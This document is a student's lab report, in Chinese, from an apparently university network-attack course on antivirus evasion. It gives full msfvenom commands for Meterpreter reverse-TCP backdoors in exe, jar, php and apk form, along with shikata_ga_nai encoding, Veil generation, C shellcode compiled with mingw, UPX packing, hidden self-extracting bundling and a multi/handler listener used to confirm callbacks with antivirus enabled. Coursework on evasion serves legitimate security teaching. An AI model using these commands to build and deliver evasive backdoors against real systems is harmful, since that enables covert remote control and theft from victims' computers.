实验内容
正确使用msf编码器
msfvenom生成如jar之类的其他文件
veil
加壳工具
使用C + shellcode编程
使用其他课堂未介绍方法
通过组合应用各种技术实现恶意代码免杀(如果成功实现了免杀的,简单语言描述原理,不要截图。与杀软共生的结果验证要截图。)
用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本
基础知识
杀软是如何检测出恶意代码的?
一般分为:
1 基于特征码的检测
特征码即一段或多段数据,包含这样数据的可执行文件或其他库、脚本被认为是恶意代码。
2 基于启发式恶意软件检测
根据片面特征推断,通用的、多特征、非精确的扫描。
3 基于行为的恶意软件检测
启发式的一种,加入了行为监控。
免杀是做什么?
对程序软件进行伪装处理让其不受到杀毒软件的检测和查杀。
免杀的基本方法有哪些?
1 改变特征码
如果你手里只有EXE
加壳:压缩壳、加密壳
有shellcode(像Meterpreter)
用encode进行编码、基于payload重新编译生成可执行文件
有源代码
用其他语言进行重写再编译(veil-evasion)
2 改变行为
通讯方式
尽量使用反弹式连接、使用隧道技术、加密通讯数据
操作模式
基于内存操作、减少对系统的修改、加入混淆作用的正常功能代码
3 开启杀软能绝对防止电脑中恶意代码吗?
不能。每一个杀软也会有自己的漏洞而恶意代码我们目前已知的也为数不多,但计算机的研究和黑客可以施展的空间是很大的,而且在此次实验中我们能发现每一次检测的杀软数是不同的,因此可以知道不同的恶意软件也并不是所有杀软都能够发现,因此开启杀软不一定能防止所有恶意代码。
实验步骤
任务一正确使用msf编码器
用实验二中已经生成的后门程序20174325_backdoor在VirusTotal和Virscan这两个网站对生成的后门程序进行扫描。因为Virscan扫描的文件名不能包含数字,修改为aliengirlyz_backdoor。
我用的是VirusTotal进行扫描,结果:
由于一直在加载中,故我先选择了用minimal interface,扫描结果:
74个杀软中58个报出病毒,此时不加任何处理的后门程序大多数杀毒软件都可以检测到,于是采取msf编码进行修改。
在kali终端输入msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b ‘\x00‘ LHOST=192.168.31.200 LPORT=4325 -f exe > met-encoded.exe来进行一次编码
扫描结果:
少了两个杀软。
使用-i设置编码次数,进行十次编码,输入msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b ‘\x00’ LHOST=192.168.31.200 LPORT=4325 -f exe > met-encoded10.exe
扫描结果:
无变化。
任务二msfvenom生成如jar之类的其他文件
输入命令msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.31.200 LPORT=4325 x> aliengirlyz_backdoor_java.jar生成java后门程序
扫描结果:
相比较exe,jar格式少了较多杀软与报出。
输入msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.31.200 LPORT=4325 x> aliengirlyz_php_backdoor.php生成php后门程序
扫描结果:
杀软比exe少比jar多,但报出比前两者更少。
输入msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.31.200 LPORT=4325 x> aliengirlyz_android_backdoor.apk
生成apk后门文件
扫描结果:
杀软和报出都增多。
任务三veil
输入sudo veil进入veil主菜单
输入use evasion进入veil evasion
输入list查看全部payload
输入use 7选择第7个
输入-set LHOST 192.168.1.104设置反弹连接IP
输入-set LPORT 4325设置端口4325
输入-options查看设置
payload设置完毕。
输入generate生成后门文件
输入20174325_veil_backdoor设置后门文件名
输入exit退出veil
用virustotal扫描,结果:
72个杀软,47报出。
后门回连测试
在msf控制台监听发往本机(kali)4325端口的连接,在Windows上运行后门。
发现此后门未能逃过杀毒软件的监测。对此选择信任,然后连接成功建立。
回连成功。
任务四加壳工具
任务五使用C + shellcode编程
加壳工具主要在任务五生成exe文件后使用故我把两个任务放在了一个部分
输入msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.31.200 LPORT=4325 -f c
生成一段shellcode
新建一个shellcode_4325.c文件,输入vim shellcode_4325.c进行编辑,把刚得到的shellcode数组拷贝进去,并增加一个main函数。
输入i686-w64-mingw32-g++ shellcode_4325.c -o shellcode_4325.exe
将c程序编译为可执行文件
扫描,结果:
输入upx shellcode_4325.exe -o upxed_shellcode_174325.exe给文件加upx壳
扫描,结果:
任务六使用其他课堂未介绍方法
将后门文件与要捆绑的文件放在同一个文件夹下
压缩文件夹,更改压缩参数,勾选创建自解压文件,依次选择高级->自解压选项->模式,选择全部隐藏
扫描,结果:
任务七通过组合应用各种技术实现恶意代码免杀
如果成功实现了免杀的,简单语言描述原理,不要截图。与杀软共生的结果验证要截图。
c+shellcode加壳捆绑
任务八用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本
输入msfconsole
输入use exploit/multi/handler
输入set payload windows/meterpreter/reverse_tcp
输入set LHOST 192.168.31.200
输入set LPORT 4325
输入exploit
在win中运行
开启杀毒软件
电脑扫描
实验完成。
实验心得
此次实验面临的最大的一个问题是veil的安装,首先是在我自己的电脑中是一直安装失败,于是重新用了一个win系统电脑单独完成第三步,任务一二较为顺利简单,任务四里的shellcode在从c文件变为可执行文件的时候也遇到了问题kali报错未找到命令,在这里停摆了较长时间但最后尝试了下载、安装、更新之后操作成功且实现了加压缩壳,在任务七通过组合任务实现免杀中用了上一步任务中加了壳的程序文件再进行c+shellcode加壳捆绑来检测,此次实验中还有一些小麻烦比如:virustotal和viruscan经常会打不开或者出错
所以经常会换着用。最后一个任务遇到的麻烦主要是重新打开win虚拟机之后和kali的连接上面出了一些问题于是相当于把实验二后面的步骤重新又做了一遍重新建立了一个两者之间的后门软件然后监听、连接、检测。总的来说,实验完成。
2019-2020-2 20174325叶竞蔚 《网络对抗技术》Exp3免杀原理与实践